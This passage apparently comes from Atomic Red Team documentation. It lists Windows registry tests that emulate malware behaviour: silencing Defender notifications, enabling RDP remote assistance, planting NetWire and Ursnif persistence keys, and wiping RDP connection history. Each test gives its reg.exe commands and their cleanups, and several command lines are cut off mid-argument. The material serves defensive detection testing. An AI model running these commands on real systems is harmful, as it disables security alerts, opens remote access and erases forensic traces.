reg add HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell , 
```

**Cleanup Commands:**

```
reg delete HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\ImmersiveShell , 
```

## Atomic Test #37 - Suppress Win Defender Notifications


Modify the registry of the currently logged in user using reg.exe via cmd console to suppress the windows defender notification. See how azorult malware abuses this technique-

<https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** c30dada3-7777-4590-b970-dc890b8cf113

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration /v Notification 
```

**Cleanup Commands:**

```
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration /v No
```

## Atomic Test #38 - Allow RDP Remote Assistance Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to allow rdp remote assistance feature. This feature allow specific user to rdp connect on the targeted machine. See how azorult malware abuses this technique- <https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 86677d0e-0b5e-4a2b-b302-454175f9aa9e

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKLM\System\CurrentControlSet\Control\Terminal Server /v fAllowToGetHelp /
```

**Cleanup Commands:**

```
reg delete HKLM\System\CurrentControlSet\Control\Terminal Server /v fAllowToGetHelp
```

## Atomic Test #39 - NetWire RAT Registry Key Creation

NetWire continues to create its home key (HKCU\SOFTWARE\NetWire) as well as adding it into the auto-run group in the victim's registry. See how NetWire malware - <https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 65704cd4-6e36-4b90-b6c1-dc29a82c8e56

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /t REG_SZ /f  
reg add HKCU\SOFTWARE\NetWire /v HostId /t REG_SZ /d HostId-kai6Ci /f  
reg add HKCU\SOFTWARE\NetWire /v "Install Date" /t REG_SZ /d "2021-08-30 07:17:27"
```

Cleanup Commands:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v NetWire /f >nul 2>&1  
reg delete HKCU\SOFTWARE\NetWire /va /f >nul 2>&1  
reg delete HKCU\SOFTWARE\NetWire /f >nul 2>&1
```

## Atomic Test #40 - Ursnif Malware Registry Key Creation

Ursnif downloads additional modules from the C&C server and saves these in the registry folder  
HKEY\_CURRENT\_USER\Software\AppDataLow\Software\Microsoft

More information - <https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/>

Supported Platforms: Windows

auto\_generated\_guid: c375558d-7c25-45e9-bd64-7b23a97c1db0

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg add HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4 /v
```

Cleanup Commands:

```
reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4  
reg delete HKCU\Software\AppDataLow\Software\Microsoft\3A861D62-51E0-15700F2219A4
```

# Atomic Test #41 - Terminal Server Client Connection History Cleared

The built-in Windows Remote Desktop Connection (RDP) client (mstsc.exe) saves the remote computer name (or IP address) and the username that is used to login after each successful connection to the remote computer

**Supported Platforms:** Windows

**auto\_generated\_guid:** 3448824b-3c35-4a9e-a8f5-f887f68bea21

**Attack Commands:** Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
```

**Dependencies:** Run with **powershell** !

**Description:** Must have the "MR9" Remote Desktop Connection history Key

**Check Prereq Commands:**

```
if ((Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Default"
```

**Get Prereq Commands:**

```
New-Item -path "HKCU:\SOFTWARE\Microsoft\" -name "Terminal Server Client" -ErrorAction SilentlyContinue
New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\" -name "Default" -ErrorAction SilentlyContinue
New-ItemProperty -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Default" -name "MR9" -value "" -PropertyType String
New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\" -name "Servers" -ErrorAction SilentlyContinue
New-Item -path "HKCU:\SOFTWARE\Microsoft\Terminal Server Client\Servers" -name "RecentConnections" -ErrorAction SilentlyContinue
```